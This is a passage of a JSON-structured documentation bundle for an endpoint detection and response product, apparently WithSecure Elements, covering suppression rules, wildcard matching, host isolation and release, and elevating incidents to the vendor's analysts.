"dl.dl_automated_response_000051_F9F3": [ { "dlentry.dlentry_automated_response_000052_1291": [ "content.dt_automated_response_000053_BCB7", "content.dd_automated_response_000054_7760", { "choices.ul_automated_response_000055_1487": [ "choice.choice_automated_response_000056_E373", "choice.choice_automated_response_000058_FB90", "choice.choice_automated_response_00005A_7C53", "choice.choice_automated_response_00005C_2FF2", "choice.choice_automated_response_00005E_268A", "choice.choice_automated_response_000060_713B", "choice.choice_automated_response_000062_5D4A", "choice.choice_automated_response_000064_E923", "choice.choice_automated_response_000066_5BBA", "choice.choice_automated_response_000068_F32F" ] }, "content.note_automated_response_00006A_FFA5", "content.p_automated_response_0000A3_B126" ] } ] }, "substep.substep_automated_response_00006B_C97B", "content.p_automated_response_00006D_1F7D", { "dl.dl_automated_response_00006E_DC84": [ { "dlentry.dlentry_automated_response_00006F_9015": [ "content.dt_automated_response_000070_5653", "content.dd_automated_response_000071_E0FA", "content.note_automated_response_000072_95A2" ] } ] }, "substep.substep_automated_response_000073_505F", "content.p_automated_response_000075_3292", { "dl.dl_automated_response_000076_D207": [ { "dlentry.dlentry_automated_response_000077_5151": [ "content.dt_automated_response_000078_3D1C", "content.dd_automated_response_000079_BA02", "content.dd_automated_response_00007A_23DC", "content.dd_automated_response_00007E_225E", "content.dd_automated_response_000082_7252" ] } ] }, "substep.substep_automated_response_000084_20D4", "content.p_automated_response_000086_07A2", { "dl.dl_automated_response_000087_4C82": [ { "dlentry.dlentry_automated_response_000088_7E7C": [ "content.dt_automated_response_000089_61FC", "content.dd_automated_response_00008A_1405" ] } ] }, "substep.substep_automated_response_00008E_EDB3", "content.p_automated_response_000090_C9C8", { "dl.dl_automated_response_000091_2A03": [ { "dlentry.dlentry_automated_response_000092_72E5": [ "content.dt_automated_response_000093_FF3E", "content.dd_automated_response_000094_891A", "content.dd_automated_response_000097_72FE", "content.note_automated_response_000098_7F0A" ] } ] } ] }, "step.step_automated_response_000099_80CA", "content.p_automated_response_00009C_6F17" ] }, "content.p_automated_response_00009E_E704", "content.note_automated_response_0000A0_A63E" ], "related": [ "release_host-latest-en", "response_retrieve_files-latest-en", "response_enumerate_services-latest-en", "response_retrieve_browser-latest-en", "response_netstat-latest-en", "response_enumerate_scheduled_tasks-latest-en", "response_enumerate_processes-latest-en", "task_suppression_rules-latest-en" ] }, "task_suppression_rules-latest-en.json": { "title": "title_suppression_rules_000001_F1A1C", "title_suppression_rules_000001_F1A1C": "Manage suppression rules", "shortdesc": "shortdesc_suppression_rules_000002_39E17", "shortdesc_suppression_rules_000002_39E17": "Suppression rules close specific broad context detections automatically so that known, accepted behavior no longer appears in dashboards, incident lists, reports, or notifications.", "content.p_suppression_rules_000011_6F948": "When a broad context detection is closed as accepted behavior, you can create a suppression rule to automatically close identical detections in the future. The events are still recorded in the system, they are not deleted and only removed from active views.", "content.p_suppression_rules_000012_14D93": "Suppress detections carefully. Rules that are too broad can silence behavior that, although common, may also be part of a real attack.", "content.note_suppression_rules_000013_A49C3": "Note: Closing a broad context detection as accepted behavior does not suppress similar detections. You must create a suppression rule to achieve that.", "step.step_suppression_rules_000015_AD0CF": "Select Events > Broad Context Detections and open the detection that you want to suppress.", "content.p_suppression_rules_00001F_9ADDA": "A prompt appears asking whether you want to create a suppression rule.", "step.step_suppression_rules_00001A_DF5FD": "Change the status to Closed > Accepted behavior.", "content.p_suppression_rules_000023_8B7DF": "The suppression rule wizard opens.", "step.step_suppression_rules_000020_E76DD": "Select Create rule.", "content.note_suppression_rules_00002C_B44D7": "Tip: Adding a device label narrows the rule to only devices with that label, which prevents the suppression from affecting environments where the behavior is not expected.", "step.step_suppression_rules_000024_22171": "In the General step, select the Behavior type, the Organizations the rule applies to, and the Devices in scope. Then select Next.", "content.p_suppression_rules_000034_D8C03": "Parameters that are enabled by default show a green toggle. Select Show more to view additional parameters.", "substep.substep_suppression_rules_000032_1DC78": "Review the pre-filled parameters and select Show more when needed.", "content.p_suppression_rules_000039_31EC5": "At least two parameters are required per key detection to limit the scope of the rule.", "substep.substep_suppression_rules_000037_B085F": "Select at least two parameters for each key detection.", "content.p_suppression_rules_00003D_A42E8": "For broad context detections with multiple key detections, a separate set of parameters appears for each key detection. Each key detection must be covered by the rule to suppress the entire broad context detection.", "substep.substep_suppression_rules_00003B_7392E": "Configure parameters for every key detection in the broad context detection.", "content.dt_suppression_rules_000045_27245": "Equals", "content.dd_suppression_rules_000046_5E952": "Matches the parameter exactly. Applies to all parameters with a value between 1 and 1024 characters. Once set, the value cannot be edited.", "content.dt_suppression_rules_000048_FE869": "Contains", "content.dd_suppression_rules_000049_F546E": "Matches if the parameter value contains the specified string. Requires at least 2 characters.", "content.dt_suppression_rules_00004B_71D01": "Wildcard", "content.dd_suppression_rules_00004C_232F5": "Matches using pattern-based expressions.", "content.p_suppression_rules_000041_2F52A": "For each parameter, select one of the following operators:", "substep.substep_suppression_rules_00003F_19DA9": "Select an operator for each parameter.", "cell.entry_suppression_rules_000058_C5B6C": "Parameter", "cell.entry_suppression_rules_000059_98399": "Example", "cell.entry_suppression_rules_00005A_C9C9D": "Description", "cell.entry_suppression_rules_00005D_76821": "Process path", "cell.entry_suppression_rules_00005E_AA2E8": "c:\\path\\admin\\support_service.exe", "cell.entry_suppression_rules_000060_087D4": "The full path of the process executable. Suppression applies only when the path matches.", "cell.entry_suppression_rules_000062_FC89F": "Process name", "cell.entry_suppression_rules_000063_7907C": "support_service.exe", "cell.entry_suppression_rules_000065_FE994": "The name of the process executable. Suppression applies only when the name matches.", "cell.entry_suppression_rules_000067_BCAD9": "Process command line", "cell.entry_suppression_rules_000068_A3504": "c:\\windows\\system32\\net localgroup group_name /add /domain", "cell.entry_suppression_rules_00006A_88016": "The full command line of the process. Suppression applies only when the command line matches exactly.", "cell.entry_suppression_rules_00006C_CCCE7": "Parent process path", "cell.entry_suppression_rules_00006D_539E7": "c:\\path\\admin\\support.exe", "cell.entry_suppression_rules_00006F_07949": "The full path of the parent process executable. Use with caution — combine with at least one non-parent parameter to avoid too broad suppression.", "cell.entry_suppression_rules_000071_1AD6B": "Parent process name", "cell.entry_suppression_rules_000072_55893": "support.exe", "cell.entry_suppression_rules_000074_091EB": "The name of the parent process executable. Use with caution — combine with at least one non-parent parameter to avoid too broad suppression.", "cell.entry_suppression_rules_000076_9B80D": "Username", "cell.entry_suppression_rules_000077_214C7": "john_doe", "cell.entry_suppression_rules_000079_FB4AA": "The username associated with the detection. Combine with additional parameters to avoid too broad suppression.", "content.p_suppression_rules_00004F_7A224": "The following parameters are available:", "substep.substep_suppression_rules_00004D_E5DD3": "Select the parameters that match the expected behavior.", "substep.substep_suppression_rules_00007A_E9778": "Select Next.", "step.step_suppression_rules_00002D_79A74": "Configure the parameters for each key detection. Parameters step, review the pre-filled parameters for each key detection and select the ones that match the expected behavior, then select Next.", "content.p_suppression_rules_00007F_74D68": "The rule becomes active and closes matching broad context detections as Closed - Auto Accepted Behavior going forward.", "step.step_suppression_rules_00007C_FDCAB": "Review the rule summary and select Add to save it.", "content.title_suppression_rules_000051_68F78": "Suppression rule parameters", "desc": [ "content.p_suppression_rules_000011_6F948", "content.p_suppression_rules_000012_14D93", "content.note_suppression_rules_000013_A49C3", { "steps.steps_suppression_rules_000014_54BD5": [ "step.step_suppression_rules_000015_AD0CF", "step.step_suppression_rules_00001A_DF5FD", "content.p_suppression_rules_00001F_9ADDA", "step.step_suppression_rules_000020_E76DD", "content.p_suppression_rules_000023_8B7DF", "step.step_suppression_rules_000024_22171", "content.note_suppression_rules_00002C_B44D7", "step.step_suppression_rules_00002D_79A74", { "substeps.substepsalpha_suppressionalpha_rulesalpha_000031alpha_C82EA": [ "substep.substep_suppression_rules_000032_1DC78", "content.p_suppression_rules_000034_D8C03", "substep.substep_suppression_rules_000037_B085F", "content.p_suppression_rules_000039_31EC5", "substep.substep_suppression_rules_00003B_7392E", "content.p_suppression_rules_00003D_A42E8", "substep.substep_suppression_rules_00003F_19DA9", "content.p_suppression_rules_000041_2F52A", { "dl.dl_suppression_rules_000043_33997": [ { "dlentry.dlentry_suppression_rules_000044_C2B91": [ "content.dt_suppression_rules_000045_27245", "content.dd_suppression_rules_000046_5E952" ] }, { "dlentry.dlentry_suppression_rules_000047_D4264": [ "content.dt_suppression_rules_000048_FE869", "content.dd_suppression_rules_000049_F546E" ] }, { "dlentry.dlentry_suppression_rules_00004A_D67F5": [ "content.dt_suppression_rules_00004B_71D01", "content.dd_suppression_rules_00004C_232F5" ] } ] }, "substep.substep_suppression_rules_00004D_E5DD3", "content.p_suppression_rules_00004F_7A224", { "table.table_suppression-rule-parameters": [ { "thead.thead_suppression_rules_000056_9ADAE": [ "cell.entry_suppression_rules_000058_C5B6C", "cell.entry_suppression_rules_000059_98399", "cell.entry_suppression_rules_00005A_C9C9D" ] }, { "row.row_suppression_rules_00005C_8098F": [ "cell.entry_suppression_rules_00005D_76821", "cell.entry_suppression_rules_00005E_AA2E8", "cell.entry_suppression_rules_000060_087D4" ] }, { "row.row_suppression_rules_000061_644B0": [ "cell.entry_suppression_rules_000062_FC89F", "cell.entry_suppression_rules_000063_7907C", "cell.entry_suppression_rules_000065_FE994" ] }, { "row.row_suppression_rules_000066_6F376": [ "cell.entry_suppression_rules_000067_BCAD9", "cell.entry_suppression_rules_000068_A3504", "cell.entry_suppression_rules_00006A_88016" ] }, { "row.row_suppression_rules_00006B_3D0BE": [ "cell.entry_suppression_rules_00006C_CCCE7", "cell.entry_suppression_rules_00006D_539E7", "cell.entry_suppression_rules_00006F_07949" ] }, { "row.row_suppression_rules_000070_00AE0": [ "cell.entry_suppression_rules_000071_1AD6B", "cell.entry_suppression_rules_000072_55893", "cell.entry_suppression_rules_000074_091EB" ] }, { "row.row_suppression_rules_000075_80240": [ "cell.entry_suppression_rules_000076_9B80D", "cell.entry_suppression_rules_000077_214C7", "cell.entry_suppression_rules_000079_FB4AA" ] } ] }, "substep.substep_suppression_rules_00007A_E9778" ] }, "step.step_suppression_rules_00007C_FDCAB", "content.p_suppression_rules_00007F_74D68" ] }, "content.title_suppression_rules_000051_68F78" ] }, "task_editing_suppression_rules-latest-en.json": { "title": "title_editing_suppression_rule_0809E", "title_editing_suppression_rule_0809E": "Edit suppression rules", "shortdesc": "shortdesc_editing_suppression_rule_07823", "shortdesc_editing_suppression_rule_07823": "You can update the parameters and general settings of an existing suppression rule to refine how broad context detections are suppressed.", "content.p_editing_suppression_rule_04051": "Suppression rules follow a three-level hierarchy: Company, Service Partner (SEP), and Solution Provider (SOP). Each level can have at most one rule for the same key detection. What you can edit depends on the level at which a rule was created and on your own access level.", "step.step_editing_suppression_rule_00F32": "Read-only users cannot create or edit rules.", "step.step_editing_suppression_rule_09924": "A rule created at the Company level can be edited by Company-level administrators, Service Partners, and Solution Providers.", "step.step_editing_suppression_rule_07966": "A rule created at the Service Partner level can be edited by Service Partners and Solution Providers.", "step.step_editing_suppression_rule_02720": "A rule created at the Solution Provider level can be edited only by Solution Providers.", "content.note_editing_suppression_rule_02341": "Tip: If you cannot edit a rule, the Edit button is disabled. A tooltip explains who can edit the rule.", "step.step_editing_suppression_rule_012D4": "Go to Security Configurations > Automated actions > Suppression rules and select the rule you want to edit.", "step.step_editing_suppression_rule_01255": "Select Edit in the flyout.", "step.step_editing_suppression_rule_0B282": "Edit the fields in the General step and select Next.", "step.step_editing_suppression_rule_07688": "Edit the parameters in the Parameters step. You can enable or disable parameters and change their operators. Select Next.", "step.step_editing_suppression_rule_062E0": "Review the changes and select Update.", "content.note_editing_suppression_rule_0D685": "Note: Suppression rules cannot be deleted. To stop a rule from affecting future detections, disable it from the suppression rules list. Disabling a rule preserves references to it from detections that it already closed.", "desc": [ "content.p_editing_suppression_rule_04051", { "steps.ul_editing_suppression_rule_0C872": [ "step.step_editing_suppression_rule_00F32", "step.step_editing_suppression_rule_09924", "step.step_editing_suppression_rule_07966", "step.step_editing_suppression_rule_02720" ] }, "content.note_editing_suppression_rule_02341", { "steps.steps_editing_suppression_rule_0A0A3": [ "step.step_editing_suppression_rule_012D4", "step.step_editing_suppression_rule_01255", "step.step_editing_suppression_rule_0B282", "step.step_editing_suppression_rule_07688", "step.step_editing_suppression_rule_062E0" ] }, "content.note_editing_suppression_rule_0D685" ], "related": [ "concept_suppression_rule_wildcards-latest-en" ] }, "task_suppressing_detections_individually-latest-en.json": { "title": "title_suppressing_detections_i_0581F", "title_suppressing_detections_i_0581F": "Suppress detections individually", "shortdesc": "shortdesc_suppressing_detections_i_0DF55", "shortdesc_suppressing_detections_i_0DF55": "Suppress the key detections of a broad context detection one at a time when a single rule cannot cover them all.", "content.p_suppressing_detections_i_064AB": "You must close the broad context detection as Closed > Accepted behavior first. Until the detection is closed, the option to create a rule is inactive.", "content.p_suppressing_detections_i_03A09": "When you close a broad context detection as accepted behavior, the suppression rule wizard can cover up to five unsuppressed key detections at once. This keeps the generated rules small, precise, and auditable. Each key detection becomes its own rule with at least two conditions.", "content.p_suppressing_detections_i_0A506": "A broad context detection can have more than five key detections. In that case, you cannot suppress them with a single rule. Instead, suppress each remaining key detection individually, one rule at a time.", "step.step_suppressing_detections_i_0E18D": "Open a broad context detection that you have closed as accepted behavior.", "step.step_suppressing_detections_i_0BBCC": "Go to the Timeline, Process tree, or Process details view.", "content.p_suppressing_detections_i_092A1": "The suppression rule wizard opens.", "step.step_suppressing_detections_i_01542": "Select the key detection that you want to suppress, then select Create rule.", "step.step_suppressing_detections_i_01BB5": "Complete the suppression rule wizard to create the rule.", "step.step_suppressing_detections_i_0C00E": "Repeat the previous steps for each remaining key detection that you want to suppress.", "content.p_suppressing_detections_i_0346E": "Each key detection that you suppress gets its own rule. To suppress an entire broad context detection that has more than five key detections, create a rule for each remaining key detection.", "desc": [ "content.p_suppressing_detections_i_064AB", "content.p_suppressing_detections_i_03A09", "content.p_suppressing_detections_i_0A506", { "steps.steps_suppressing_detections_i_01316": [ "step.step_suppressing_detections_i_0E18D", "step.step_suppressing_detections_i_0BBCC", "step.step_suppressing_detections_i_01542", "content.p_suppressing_detections_i_092A1", "step.step_suppressing_detections_i_01BB5", "step.step_suppressing_detections_i_0C00E" ] }, "content.p_suppressing_detections_i_0346E" ] }, "concept_suppression_rule_wildcards-latest-en.json": { "title": "title_suppression_rule_wildcar_06431", "title_suppression_rule_wildcar_06431": "Using wildcards in suppression rules", "shortdesc": "shortdesc_suppression_rule_wildcar_06DF2", "shortdesc_suppression_rule_wildcar_06DF2": "Wildcards let you match suppression rule parameters using patterns instead of exact values.", "content.p_suppression_rule_wildcar_07641": "When creating or editing a suppression rule, you can select the Wildcard operator for a parameter and enter a pattern. This is useful when the exact value varies between detections but follows a predictable structure.", "content.p_suppression_rule_wildcar_0A341": "The following wildcard characters are supported:", "content.dt_suppression_rule_wildcar_000D8": "*", "content.dd_suppression_rule_wildcar_0B2D2": "Matches any sequence of characters, including an empty sequence. For example, *.exe matches file.exe, test.exe, and .exe.", "content.dt_suppression_rule_wildcar_00EF3": "?", "content.dd_suppression_rule_wildcar_081AC": "Matches any single character. For example, file?.txt matches file1.txt and fileA.txt.", "content.p_suppression_rule_wildcar_0D0DE": "The backslash (\\) is the escape character. Use it to match a literal asterisk or question mark instead of treating them as wildcards:", "content.dt_suppression_rule_wildcar_0692E": "\\*", "content.dd_suppression_rule_wildcar_03A0A": "Matches a literal asterisk character. For example, test\\*.txt matches test*.txt.", "content.dt_suppression_rule_wildcar_09CEB": "\\?", "content.dd_suppression_rule_wildcar_0A276": "Matches a literal question mark character. For example, test\\?.txt matches test?.txt.", "content.p_suppression_rule_wildcar_0FE3A": "Wildcards are supported on the following suppression rule parameters: process name, process path, process command line, username, parent process name, and parent process path.", "desc": [ "content.p_suppression_rule_wildcar_07641", "content.p_suppression_rule_wildcar_0A341", { "dl.dl_suppression_rule_wildcar_03E27": [ { "dlentry.dlentry_suppression_rule_wildcar_0639F": [ "content.dt_suppression_rule_wildcar_000D8", "content.dd_suppression_rule_wildcar_0B2D2" ] }, { "dlentry.dlentry_suppression_rule_wildcar_0C75A": [ "content.dt_suppression_rule_wildcar_00EF3", "content.dd_suppression_rule_wildcar_081AC" ] } ] }, "content.p_suppression_rule_wildcar_0D0DE", { "dl.dl_suppression_rule_wildcar_0A532": [ { "dlentry.dlentry_suppression_rule_wildcar_0DB39": [ "content.dt_suppression_rule_wildcar_0692E", "content.dd_suppression_rule_wildcar_03A0A" ] }, { "dlentry.dlentry_suppression_rule_wildcar_0ACF4": [ "content.dt_suppression_rule_wildcar_09CEB", "content.dd_suppression_rule_wildcar_0A276" ] } ] }, "content.p_suppression_rule_wildcar_0FE3A" ] }, "concept_suppression_rules_list-latest-en.json": { "title": "title_suppression_rules_list_000553E", "title_suppression_rules_list_000553E": "Viewing suppression rules", "shortdesc": "shortdesc_suppression_rules_list_0004918", "shortdesc_suppression_rules_list_0004918": "View all active and inactive suppression rules and manage them from a central list.", "content.p_suppression_rules_list_000DC4B": "To view all suppression rules, go to Security Configurations > Automated actions > Suppression rules.", "content.p_suppression_rules_list_0006193": "The list can be filtered by: Active, Behavior type, Creator, Device labels, Organizations, Rule ID, and Rule name.", "content.p_suppression_rules_list_000AA68": "Select a rule and then select the count of suppressed broad context detections to open the broad context detection view filtered to show only the detections that the rule has closed.", "content.p_suppression_rules_list_00095AF": "You can enable or disable rules directly from the list.", "desc": [ "content.p_suppression_rules_list_000DC4B", "content.p_suppression_rules_list_0006193", "content.p_suppression_rules_list_000AA68", "content.p_suppression_rules_list_00095AF" ] }, "isolate_host-latest-en.json": { "title": "title_isolate_host_000001_4B448AD5", "title_isolate_host_000001_4B448AD5": "Isolate hosts from the network", "shortdesc": "shortdesc_isolate_host_000002_29754F45", "shortdesc_isolate_host_000002_29754F45": "After analyzing a broad context detection, you may want to isolate hosts from the network connections to avoid further harm to the environment. ", "content.p_isolate_host_000011_17A4EA8F": "To isolate hosts, configure Windows group policies to allow WithSecure to control Windows Firewall.", "content.p_isolate_host_000014_5A87C9D2": "To isolate hosts:", "step.step_isolate_host_000016_41324E75": "Go to Events > Broad Context Detections.", "step.step_isolate_host_00001B_750565A7": "In the Top broad context detections pane, select the detection that includes the hosts that you want to isolate.", "content.p_isolate_host_000021_477E6ABC": "The list of recommended actions opens.", "step.step_isolate_host_00001E_A50115B1": "Select Recommended actions.", "content.p_isolate_host_000026_2852CE97": "Users of isolated hosts receive a message that their computer has been isolated to protect the network.", "step.step_isolate_host_000022_9C0BC481": "Select Isolate hosts and then Confirm isolation.", "content.p_isolate_host_000027_B504E02C": "When a host is isolated, Windows Firewall allows only administrators to undo the isolation and blocks every other network traffic. All potential attackers are disconnected from the host.", "desc": [ "content.p_isolate_host_000011_17A4EA8F", "content.p_isolate_host_000014_5A87C9D2", { "steps.steps_isolate_host_000015_34563E6A": [ "step.step_isolate_host_000016_41324E75", "step.step_isolate_host_00001B_750565A7", "step.step_isolate_host_00001E_A50115B1", "content.p_isolate_host_000021_477E6ABC", "step.step_isolate_host_000022_9C0BC481", "content.p_isolate_host_000026_2852CE97" ] }, "content.p_isolate_host_000027_B504E02C" ] }, "isolate_single_host-latest-en.json": { "title": "title_isolate_single_host_000001575E", "title_isolate_single_host_000001575E": "Isolate a single device from the network", "shortdesc": "shortdesc_isolate_single_host_00000221A0", "shortdesc_isolate_single_host_00000221A0": "You can isolate one or more devices from the network.", "content.p_isolate_single_host_0000117BA9": "To isolate a single host from the network:", "step.step_isolate_single_host_000013C50E": "Go to the Environment > Devices tab.", "step.step_isolate_single_host_0000183B09": "Select the device that you want to isolate from the network.", "step.step_isolate_single_host_00001AC7FB": "Select Isolate device and confirm the isolation.", "content.p_isolate_single_host_00001D8E49": "The selected device is isolated from the network.", "desc": [ "content.p_isolate_single_host_0000117BA9", { "steps.steps_isolate_single_host_00001257C2": [ "step.step_isolate_single_host_000013C50E", "step.step_isolate_single_host_0000183B09", "step.step_isolate_single_host_00001AC7FB" ] }, "content.p_isolate_single_host_00001D8E49" ], "related": [ "release_host-latest-en" ] }, "release_host-latest-en.json": { "title": "title_release_host_000001_BAB2BF4E", "title_release_host_000001_BAB2BF4E": "Release hosts from the isolation", "shortdesc": "shortdesc_release_host_000002_552D040F", "shortdesc_release_host_000002_552D040F": "After you have analyzed and solved a broad context detection and after the incident is over, you can release isolated hosts back to the network.", "content.p_release_host_000011_98E02BD8": "To release a host from the isolation:", "step.step_release_host_000013_0DF1858E": "Select the Environment > Devices tab.", "step.step_release_host_000018_6307BBAE": "Select the host that you want to release from the isolation.", "step.step_release_host_00001A_67EF4457": "Select Release host and confirm the release.", "content.p_release_host_00001D_EBBA1314": "The selected host is released from the isolation.", "desc": [ "content.p_release_host_000011_98E02BD8", { "steps.steps_release_host_000012_F33116E8": [ "step.step_release_host_000013_0DF1858E", "step.step_release_host_000018_6307BBAE", "step.step_release_host_00001A_67EF4457" ] }, "content.p_release_host_00001D_EBBA1314" ] }, "elevate_to_fs-latest-en.json": { "title": "title_elevate_to_fs_000001_4164C43F", "title_elevate_to_fs_000001_4164C43F": "Elevating incidents to WithSecure", "shortdesc": "shortdesc_elevate_to_fs_000002_E1AD6EF5", "shortdesc_elevate_to_fs_000002_E1AD6EF5": "Some detections may require deeper analysis and guidance by specialized cyber security experts. If you cannot resolve an incident after your analysis, you can elevate the incident to WithSecure for help in resolving the broad context detection and instructions how to respond to it. ", "content.p_elevate_to_fs_000010_8C99FABD": "You can elevate an incident to WithSecure when you need help resolving a broad context detection. Upon request, WithSecure's threat analysts investigate methods and technologies, network routes, traffic origins, and timelines of Broad Context Detection to identify the type of incident, provide collected evidence, and offer further expert guidance.", "content.p_elevate_to_fs_000013_1BECBD0A": "The elevation is split into two phases, threat validation and threat investigation.", "content.title_elevate_to_fs_000014_B1DAB6FF": "Threat validation", "content.p_elevate_to_fs_000015_6F227C43": "In the threat validation phase, WithSecure analysts classify the Broad Context Detection as one of the following. The threat validation phase is not for complete investigation but for a quick validation only.", "step.step_elevate_to_fs_000018_7C2981D0": "Genuine threat: you get guidance on how to respond to the threat.", "step.step_elevate_to_fs_000019_E1E44336": "Suspicious - act upon: you can either manage the incident independently or create an investigation request.", "step.step_elevate_to_fs_00001A_039D9DFD": "Suspicious - acceptable risk: the detection is suspicious, but the risk is acceptable, so no further action is required.", "step.step_elevate_to_fs_00001B_D05969C6": "False positive: no further action is required.", "content.title_elevate_to_fs_00001C_1E5052B1": "Threat investigation", "content.p_elevate_to_fs_00001D_76054E39": "In the threat investigation phase, WithSecure analysts analyze Broad Context Detection completely and provide suggestions on how you should respond to it.", "content.note_elevate_to_fs_00001F_A6AF85A5": "Important: If more than 5 devices are compromised, or business-critical assets are affected, the case is escalated to a separate Incident Response engagement instead.", "content.title_elevate_to_fs_000020_8443E1FD": "Service level", "content.p_elevate_to_fs_000021_85CD20A5": "WithSecure targets starting the response to an elevated incident within 2 hours of elevation. The service is available 24 hours a day, every day of the year, in English only.", "desc": [ "content.p_elevate_to_fs_000010_8C99FABD", "content.p_elevate_to_fs_000013_1BECBD0A", "content.title_elevate_to_fs_000014_B1DAB6FF", "content.p_elevate_to_fs_000015_6F227C43", { "steps.ul_elevate_to_fs_000017_00D8A69C": [ "step.step_elevate_to_fs_000018_7C2981D0", "step.step_elevate_to_fs_000019_E1E44336", "step.step_elevate_to_fs_00001A_039D9DFD", "step.step_elevate_to_fs_00001B_D05969C6" ] }, "content.title_elevate_to_fs_00001C_1E5052B1", "content.p_elevate_to_fs_00001D_76054E39", "content.note_elevate_to_fs_00001F_A6AF85A5", "content.title_elevate_to_fs_000020_8443E1FD", "content.p_elevate_to_fs_000021_85CD20A5" ] }, "elevating-latest-en.json": { "title": "title_elevating_000001_0D7483A9", "title_elevating_000001_0D7483A9": "Elevate an incident", "shortdesc": "shortdesc_elevating_000002_CEBA4C48", "shortdesc_elevating_000002_CEBA4C48": "When you elevate the incident, the service alerts WithSecure analysts. Analysts will have access to the incident data to help them to solve the case. ", "content.p_elevating_000011_263D0DF1": "Before you elevate an incident, check that:", "step.step_elevating_000013_73F9D660": "You have an active WithSecure Elements Endpoint Detection and Response subscription.", "step.step_elevating_000015_1E87B94C": "At least one agent is deployed and reporting.", "step.step_elevating_000016_F3934497": "You have a WithSecure Elevate add-on subscription. It provides the Validation and Investigation tokens that elevation uses.", "content.p_elevating_000018_BDBC7D10": "WithSecure Elevate is licensed through two types of Tokens: one for Threat Validations and one for Threat Investigations. These tokens are offered in pre-packaged combinations that vary in size, for example 2/1 (2 Validation Tokens for 1 Investigation Token). If the detection under scrutiny is more than 7 days old, an Investigation Token is used for Elevation. Otherwise, the elevated detection is first validated using a Validation Token. The tokens expire based on the same duration as the product subscription. For more information about the WithSecure Elevate licensing, or the separately available Incident Response and Incident Readiness services, contact your local WithSecure representative.", "content.p_elevating_00001A_85301E2E": "To check your remaining token balance, go to Management > Subscriptions. Tokens expire after 12, 24, or 36 months, depending on your subscription term.", "content.p_elevating_00001F_005C6C6B": "To elevate the incident to WithSecure:", "step.step_elevating_000022_7A9D5E85": "Go to Events > Broad Context Detections.", "step.step_elevating_000027_51C352EF": "Choose the detection that you want to elevate to WithSecure from the Broad Context Detections view.", "content.p_elevating_00002E_8FE4704F": "The Elevate to WithSecure option becomes available.", "step.step_elevating_00002B_21CD8A0E": "If the incident has not been confirmed already, select Acknowledge incident.", "content.note_elevating_000034_AF71F389": "Note: If you do not have tokens to elevate the incident, the portal shows an information pane with a link to buy more tokens. Select Purchase tokens to do so.", "content.p_elevating_000036_B8FC3421": "The Elevate to WithSecure window opens, which shows the number of elevate tokens that you have left.", "step.step_elevating_000030_B3641078": "Select Elevate to WithSecure.", "step.step_elevating_000038_AAF1EB6F": "Add a comment about Broad Context Detection that you want WithSecure analysts to examine and describe why you want to elevate it and what you want experts to validate.", "content.p_elevating_00003E_6A94DDBE": "If Broad Context Detection is more than 7 days old, the elevation uses an investigation token. Otherwise, the elevated incident is validated first using the validation token.", "step.step_elevating_00003B_1F349422": "Select Elevate.", "content.p_elevating_000042_B5FC5F79": "When the investigation is complete, the investigation result and the suggested response are available in the portal.", "step.step_elevating_00003F_EA03CAD4": "WithSecure analysts acknowledge your elevation request and start investigating the incident. You receive an email notification when the investigation is complete.", "step.step_elevating_000043_548294BE": "Select Close elevation to resolve the incident.", "content.note_elevating_000047_2C28EB79": "Note: You can use the comment window at any time to add comments to the elevated incident. Comments window includes all comments that you and WithSecure analysts have added to it during the investigation. Note that after you close the elevation, you can still add comments to the incident but no further notifications about them are sent to WithSecure.", "desc": [ "content.p_elevating_000011_263D0DF1", { "steps.ul_elevating_000012_0373F1F4": [ "step.step_elevating_000013_73F9D660", "step.step_elevating_000015_1E87B94C", "step.step_elevating_000016_F3934497" ] }, "content.p_elevating_000018_BDBC7D10", "content.p_elevating_00001A_85301E2E", "content.p_elevating_00001F_005C6C6B", { "steps.steps_elevating_000021_F08829B0": [ "step.step_elevating_000022_7A9D5E85", "step.step_elevating_000027_51C352EF", "step.step_elevating_00002B_21CD8A0E", "content.p_elevating_00002E_8FE4704F", "step.step_elevating_000030_B3641078", "content.note_elevating_000034_AF71F389", "content.p_elevating_000036_B8FC3421", "step.step_elevating_000038_AAF1EB6F", "step.step_elevating_00003B_1F349422", "content.p_elevating_00003E_6A94DDBE", "step.step_elevating_00003F_EA03CAD4", "content.p_elevating_000042_B5FC5F79", "step.step_elevating_000043_548294BE" ] }, "content.note_elevating_000047_2C28EB79" ] }, "elevation_status_bcd-latest-en.json": { "title": "title_elevation_status_bcd_00000A9CD", "title_elevation_status_bcd_00000A9CD": "Elevation status of a BCD", "shortdesc": "shortdesc_elevation_status_bcd_000009AAB", "shortdesc_elevation_status_bcd_000009AAB": "EDR tracks an elevation's progress with two status levels: a detailed elevation status on the elevation, and an aggregated Elevation status on the BCD.", "content.p_elevation_status_bcd_00001E3C7": "When you elevate a broad context detection (BCD) to the Detection and Response Team (DRT), EDR records the progress of that elevation in two places:", "step.step_elevation_status_bcd_00001EF37": "The detailed elevation status is stored on the elevation. It captures each step of the elevation workflow, such as the acknowledgment and completion of a validation or investigation.", "step.step_elevation_status_bcd_000013BFE": "The aggregated Elevation status is stored on the BCD. It is a simplified status that the EDR portal shows in the BCD list and uses for filtering.", "content.p_elevation_status_bcd_000018205": "Each time the BCD is updated, EDR maps the current detailed elevation status to the aggregated Elevation status and saves the result on the BCD. The BCD is updated, for example, when the DRT acknowledges or completes the elevation.", "content.title_elevation_status_bcd_0000132A6": "How detailed elevation statuses map to the aggregated Elevation status", "content.p_elevation_status_bcd_000010D2A": "The aggregated Elevation status on the BCD is derived from the detailed elevation status as follows:", "content.title_elevation_status_bcd_00002CB35": "Elevation status mapping", "cell.entry_elevation_status_bcd_00002A47A": "Aggregated Elevation status (on the BCD)", "cell.entry_elevation_status_bcd_00002FE53": "Detailed elevation status (on the elevation)", "cell.entry_elevation_status_bcd_00002A2A1": "Acknowledged", "cell.entry_elevation_status_bcd_00003E438": "VALIDATION_ACKNOWLEDGED or INVESTIGATION_ACKNOWLEDGED", "cell.entry_elevation_status_bcd_00003248B": "Monitoring", "cell.entry_elevation_status_bcd_0000313AB": "VALIDATION_COMPLETED or INVESTIGATION_COMPLETED", "content.title_elevation_status_bcd_00003BB79": "How filtering by Elevation status works", "content.p_elevation_status_bcd_00003AFCF": "When you filter BCDs in the EDR portal by Elevation status, the filter matches the aggregated Elevation status that is stored on the BCD. The filter does not read the detailed elevation status directly. For example:", "step.step_elevation_status_bcd_00004EFB6": "Filtering by Acknowledged returns the BCDs whose detailed elevation status is VALIDATION_ACKNOWLEDGED or INVESTIGATION_ACKNOWLEDGED.", "step.step_elevation_status_bcd_000040FE9": "Filtering by Monitoring returns the BCDs whose detailed elevation status is VALIDATION_COMPLETED or 